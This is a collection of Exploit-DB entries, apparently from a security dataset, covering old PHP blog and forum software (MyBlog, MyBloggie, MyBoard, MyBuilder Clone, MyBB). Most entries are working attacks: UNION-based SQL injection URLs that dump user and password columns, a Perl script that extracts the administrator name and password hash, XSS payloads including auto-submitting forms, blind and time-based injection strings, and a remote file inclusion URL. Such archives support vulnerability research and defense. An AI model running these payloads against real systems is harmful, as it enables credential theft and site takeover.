deardaniel/secdata-raw huggingface dataset:
Exploit-DB #5913
Description: MyBlog: PHP and MySQL Blog/CMS software - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-06-23
Author: CWH Underground

Exploit:
=====================================================================================
  MyBlog: PHP and MySQL Blog/CMS software (SQL/XSS) Multiple Remote Vulnerabilities
=====================================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE   : 23 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : MyBlog: PHP and MySQL Blog/CMS software
 DOWNLOAD    : http://downloads.sourceforge.net/myblog
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

----------
 Exploits
----------

[+] http://[Target]/os/index.php?view=[SQL Injection]
[+] http://[Target]/os/member.php?id=[SQL Injection]
[+] http://[Target]/os/post.php?id=[SQL Injection]

   **This exploits can get username and password (No Encryption)**

--------------
 POC Exploits
--------------

[+] http://192.168.24.25/os/index.php?view=cwh'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1
[+] http://192.168.24.25/os/member.php?id=-9999'/**/UNION/**/SELECT/**/concat(user,0x3a,password),2,3,email,5,6,7,8,9,10/**/FROM/**/myblog_users/**/WHERE/**/perm='1
[+] http://192.168.24.25/os/post.php?id=-9999'/**/UNION/**/SELECT/**/1,2,email,concat(user,0x3a,password),5,6,7,8,9,10,11/**/FROM/**/myblog_users/**/WHERE/**/perm='1



--- Remote XSS ---

----------
 Exploits
----------

[+] http://[Target]/os/index.php?s=[XSS]
[+] http://[Target]/os/index.php?sort=[XSS]
[+] http://[Target]/os/post.php?id=[XSS]


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-23]
Exploit-DB #25612
Description: MyBloggie 2.1 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-05-05
Author: Alberto Trivero

Exploit:
source: https://www.securityfocus.com/bid/13507/info

myBloggie is affected by multiple vulnerabilities.

An attacker may leverage these issues to carry out cross-site scripting, HTML injection and SQL injection attacks against the affected application. This may result in the theft of authentication credentials, destruction or disclosure of sensitive data, and potentially other attacks. The integrity of a site may be compromised by deleting arbitrary comments as well. 

Cross-site scripting:
http://www.example.com/mybloggie/index.php?month_no=3&year=%3Cscript%3Ealert
(document.cookies)%3C/script%3E

HTML injection:
http://www.example.com/mybloggie/index.php?mode=viewcat&cat_id=%3C%73%63%72%
69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2
9%3C%2F%73%63%72%69%70%74%3EC

http://www.example.com/mybloggie/index.php?mode=viewmonth&month_no=%3C%73%63
%72%69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%
65%29%3C%2F%73%63%72%69%70%74%3E

http://www.example.com/mybloggie/index.php?mode=viewid&post_id=%3C%73%63%72%
69%70%74%3E%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2
9%3C%2F%73%63%72%69%70%74%3E
Exploit-DB #1023
Description: MyBloggie 2.1.1 < 2.1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2005-05-31
Author: Alberto Trivero

Exploit:
#!/usr/bin/perl -w
#
# SQL Injection Exploit for myBloggie 2.1.1 - 2.1.2
# This exploit show the username of the administrator of the blog and his password crypted in MD5
# Related advisories: (Italian) http://www.codebug.org/index.php?subaction=showfull&id=[PII_REDACTED]&archive=&start_from=&ucat=6&
#                     (English) http://www.packetstormsecurity.org/0505-advisories/codebug-9.txt
# Patch: http://mywebland.com/forums/viewtopic.php?t=180
# Coded by Alberto Trivero and Discovered with CorryL

use LWP::Simple;

print "\n\t=======================================\n";
print "\t= Exploit for myBloggie 2.1.1 - 2.1.2 =\n";
print "\t=    Alberto Trivero - codebug.org    =\n";
print "\t=======================================\n\n";

if(!$ARGV[0] or !($ARGV[0]=~/http/) or !$ARGV[1] or ($ARGV[1] ne '2.1.1' and $ARGV[1] ne '2.1.2')) {
   print "Usage:\nperl $0 [full_target_path] [version: 2.1.1 OR 2.1.2]\n\nExample:\nperl $0 http://www.example.com/mybloggie/ 2.1.1\n";
   exit(0);
}

$url=q[index.php?month_no=1&year=1&mode=viewdate&date_no=1%20UNION%20SELECT%20null,null,null,null,user,password,null,null,null,null%20FROM%20blog_user/*];
$page=get($ARGV[0].$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $ARGV[0]\n";
if($ARGV[1] eq '2.1.1') {
   $page=~m/<tr><td colspan="3" class="subject">(.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
   print "[-] Unable to retrieve username\n" if(!$1);
}
else {
   $page=~m/<img src="templates\/aura\/images\/permalink.gif" border="0" title="Permalink"><\/a> (.*?)<\/td><\/tr>/ && print "[+] Username of administrator is: $1\n";
   print "[-] Unable to retrieve username\n" if(!$1);
}
$page=~m/<tr><td colspan="3" class="message">(.*?)<\/td><\/tr>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);


# milw0rm.com [2005-05-31]
Exploit-DB #27383
Description: MyBloggie 2.1.2/2.1.3 - 'addcat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
   
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=addcat&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="cat_desc" value='' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #27385
Description: MyBloggie 2.1.2/2.1.3 - 'adduser.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
     
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=adduser&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="password" value='' />
<input type="text" name="repassword" value='' />
<input type="text" name="user" value='x' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #27389
Description: MyBloggie 2.1.2/2.1.3 - 'del.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
         
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
         
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/admin.php?mode=del&post_id="><script>alert('xss_string')</script>
Exploit-DB #27388
Description: MyBloggie 2.1.2/2.1.3 - 'delcat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
        
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
        
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/admin.php?mode=delcat&cat_id="><script>alert('xss_string')</script>
Exploit-DB #27381
Description: MyBloggie 2.1.2/2.1.3 - 'delcomment.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
 
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/index.php?mode=delcom&confirmredirect="><script>alert('xss_string')</script>

<form action="http://www.example.com/mybloggie213beta/index.php?mode=delcom&comment_id=1&redirect=adm&confirm=yes" method="post">
<input type="text" name="post_id" value='">xss_string' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://www.example.com/mybloggie213beta/index.php?mode=delcom&comment_id=1" method="post">
<input type="text" name="post_id" value='">xss_string' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #27382
Description: MyBloggie 2.1.2/2.1.3 - 'deluser.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
  
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/admin.php?mode=deluser&id="><script>alert('xss_string')</script>
Exploit-DB #27386
Description: MyBloggie 2.1.2/2.1.3 - 'editcat.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
      
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
      
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=editcat&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="cat_desc" value='' />
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #27384
Description: MyBloggie 2.1.2/2.1.3 - 'edituser.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
    
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=edituser&id=1&pass=yes&errormsg=<script>alert('xss_string')</script>" method="post">
<input type="text" name="password" value='' />
<input type="text" name="repassword" value='' />
<input type="text" name="user" value='' /> 
<input type="submit"/>
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #27387
Description: MyBloggie 2.1.2/2.1.3 - 'trackback_url' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info
       
MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
       
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

<form action="http://www.example.com/mybloggie213beta/admin.php?mode=add" method="post">
<input type="text" name="submit" value='xyz' />
<input type="text" name="message" value='xyz' />
<input type="text" name="trackback_url" value='<script>alert("xss_string")</script>' />
<input type="submit">
</form>
<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #27380
Description: MyBloggie 2.1.2/2.1.3 - 'upload.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-03-09
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/17048/info

MyBloggie is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/mybloggie213beta/admin.php?mode=upload&del=xss_string

http://www.example.com/mybloggie213beta/admin.php?mode=upload&message=xss_string
Exploit-DB #27822
Description: MyBloggie 2.1.2/2.1.3 - BBCode IMG Tag HTML Injection
Type: webapps
Platform: php
Date: 2006-05-06
Author: zerogue

Exploit:
source: https://www.securityfocus.com/bid/17865/info

MyBloggie is prone to an HTML-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing an attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user; other attacks are also possible.

[img]javascript:alert('xss')[/img]
Exploit-DB #29491
Description: MyBloggie 2.1.5 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-17
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/22097/info

MyBloggie is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 2.1.5; other versions may also be affected. 

http://www.example.com/index.php/>">[xss]
Exploit-DB #29492
Description: MyBloggie 2.1.5 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-17
Author: CorryL

Exploit:
source: https://www.securityfocus.com/bid/22097/info
 
MyBloggie is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 2.1.5; other versions may also be affected. 

http://www.example.com/login.php/>">[xss]
Exploit-DB #35863
Description: MyBloggie 2.1.6 - HTML Injection / SQL Injection
Type: webapps
Platform: php
Date: 2011-06-15
Author: Robin Verton

Exploit:
source: https://www.securityfocus.com/bid/48317/info

myBloggie is prone to a SQL-injection vulnerabilities and an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, or execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials, control how the site is viewed, and launch other attacks.

myBloggie 2.1.6 is vulnerable; other versions may also be affected. 

<?php
//trackback.php - Line 33 - 35
$url=urldecode($_REQUEST['url']);
if (validate_url($url)==false) { $tback->trackback_reply(1, "<p>Sorry, Trackback failed.. Reason : URL not valid</p>"); }

?>


<?php
//trackback.php - Line 750
function validate_url($url) {
    if  ( ! preg_match('#^http\\:\\/\\/[a-z0-9\-]+\.([a-z0-9\-]+\.)?[a-z]+#i', $url, $matches) ) {
       return false;
    } else {
       return true;  
    }
} 
?>
Exploit-DB #30111
Description: MyBloggie 2.1.x - 'index.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2007-05-31
Author: ls@calima.serapis.net

Exploit:
source: https://www.securityfocus.com/bid/24249/info

myBloggie is prone to an SQL-injection vulnerability.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

This issue affects myBloggie 2.1.6 and earlier.

http://www.example.com/apppath/index.php?mode=viewuser&cat_id='
http://www.example.com/apppath/index.php?mode=viewuser&month_no=4&year="
Exploit-DB #28366
Description: MyBloggie 2.1.x - 'MyBloggie_Root_Path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-02
Author: sh3ll

Exploit:
source: https://www.securityfocus.com/bid/19449/info

MyBloggie is prone to multiple remote file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

MyBloggie 2.1.3 and earlier are vulnerable to this issue; other versions may also be affected.

Update: Reports indicate that this is not a vulnerability because 'mybloggie_root_path' is defined as './' prior to its use in the vulnerable scripts. Therefore this BID is retired.

http://www.example.com/[myBloggie]/index.php?mybloggie_root_path=http://www.example.com http://www.example.com/[myBloggie]/includes/db.php? mybloggie_root_path=http://www.example.com
Exploit-DB #31658
Description: MyBoard 1.0.12 - 'rep.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-04-17
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28823/info

MyBoard is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

MyBoard 1.0.12 is vulnerable; other versions may also be affected. 

http://www.example.com/MyBoard/rep.php?id=[XSS]
Exploit-DB #43091
Description: MyBuilder Clone 1.0 - 'subcategory' SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: MyBuilder Clone 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.contractorscripts.com/
# Software Link: http://order.contractorscripts.com/
# Demo: http://demo.contractorscripts.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15968
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# http://localhost/[PATH]/phpsqlsearch_genxml.php?subcategory=[SQL]
# 
# 1'++aND(/*!09999sELeCT*/+0x30783331+/*!09999FrOM*/+(/*!09999SeLeCT*/+cOUNT(*),/*!09999CoNCaT*/((sELEcT(sELECT+/*!09999CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a) AND ''='
# 
# Parameter: subcategory (GET)
#     Type: boolean-based blind
#     Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
#     Payload: subcategory=1' RLIKE (SELECT (CASE WHEN (9811=9811) THEN 1 ELSE 0x28 END))-- gzxz
# 
#     Type: error-based
#     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
#     Payload: subcategory=1' AND (SELECT 1213 FROM(SELECT COUNT(*),CONCAT(0x7162626a71,(SELECT (ELT(1213=1213,1))),0x716b6a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- qHTp
# 
#     Type: AND/OR time-based blind
#     Title: MySQL >= 5.0.12 OR time-based blind
#     Payload: subcategory=1' OR SLEEP(5)-- RvzR
# 	
# Etc..
# # # # #
Exploit-DB #26247
Description: MyBulletinBoard (MyBB) 1.0 - 'RateThread.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-09
Author: stranger-killer

Exploit:
source: https://www.securityfocus.com/bid/14786/info

MyBulletinBoard is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

<form action="http://www.example.com/ratethread.php" method="post">
<span class="smalltext"><strong>Rate This Thread:</strong></span>
<select name="rating">
<option value="">Select Rating</option>
<option value="5' [SQL] /*">5 ... Best</option>
<option value="4' [SQL] /*">4</option>
<option value="3' [SQL] /*">3 ... Average</option>
<option value="2' [SQL] /*">2</option>
<option value="1' [SQL] /*">1 ... Worst</option>
</select>

<input type="hidden" name="tid" value="[Thread ID]" />
<!-- start: gobutton -->
<input type="submit" value="Go" />
<!-- end: gobutton -->
</form>